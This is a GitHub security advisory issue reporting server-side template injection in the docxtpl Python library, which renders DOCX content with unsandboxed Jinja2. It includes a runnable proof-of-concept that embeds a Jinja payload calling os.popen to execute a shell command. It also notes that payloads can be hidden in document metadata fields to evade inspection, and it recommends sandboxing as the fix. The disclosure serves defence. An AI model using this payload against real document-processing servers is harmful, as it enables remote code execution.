Skip to content

Security: Server-Side Template Injection (SSTI) via unsandboxed Jinja2 allows Remote Code Execution #632

@DHIRAL2908

Description

@DHIRAL2908

Summary

python-docx-template uses unsandboxed jinja2.Environment() and jinja2.Template() to render content extracted from DOCX files. This allows an attacker who can provide a DOCX template file to achieve arbitrary code execution on the server.

Affected Code

All rendering paths in template.py use unsandboxed Jinja2:

  • render_xml_part() (line 312): template = Template(src_xml)
  • render_properties() (line 352): jinja_env = Environment()
  • render_footnotes() (line 364): jinja_env = Environment()
  • get_undeclared_template_variables() (line 916): env = Environment()

The word "Sandbox" does not appear anywhere in the codebase.

Proof of Concept script:

# SSTI in python-docx-template (docxtpl) <= 0.20.2
# docxtpl uses unsandboxed jinja2.Template() to render docx content,
# allowing RCE when processing a malicious docx file.
# pip install docxtpl==0.20.2

import os
import tempfile
from docx import Document
from docxtpl import DocxTemplate

payload = '{{ cycler.__init__.__globals__.os.popen("id").read() }}'

tmp = os.path.join(tempfile.gettempdir(), "ssti_poc.docx")
out = os.path.join(tempfile.gettempdir(), "ssti_out.docx")

doc = Document()
doc.add_paragraph(payload)
doc.save(tmp)

tpl = DocxTemplate(tmp)
tpl.render({})
tpl.save(out)

result = Document(out)
for p in result.paragraphs:
    if p.text.strip():
        print(p.text)

os.unlink(tmp)
os.unlink(out)

Expected behavior

To render Jinja templates in a sandboxed environment, replace Jinja2.Environment() and jinja2.Template() with jinja2.sandbox.SandboxedEnvironment() as the default across all rendering paths. The jinja_env parameter should ensure that user-provided environments are also sandboxed, or, at a minimum, prominently document the security risk.

Screenshots

Image

Additional context

  • Affected versions: all versions up to and including 0.20.2
  • ~31M total PyPI downloads, ~8-25K daily.
  • CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (8.8 High).
  • The render() method (line 473) calls all four vulnerable paths: body, headers/footers, properties, and footnotes.
  • The properties vector is particularly dangerous — the document body can appear completely clean while RCE payloads hide in metadata fields like Author, Title, or Subject, making detection by visual inspection impossible.
  • No SECURITY.md, no security policy, and no use of SandboxedEnvironment anywhere in the codebase.

Metadata

Metadata

Assignees

No one assigned

    Labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions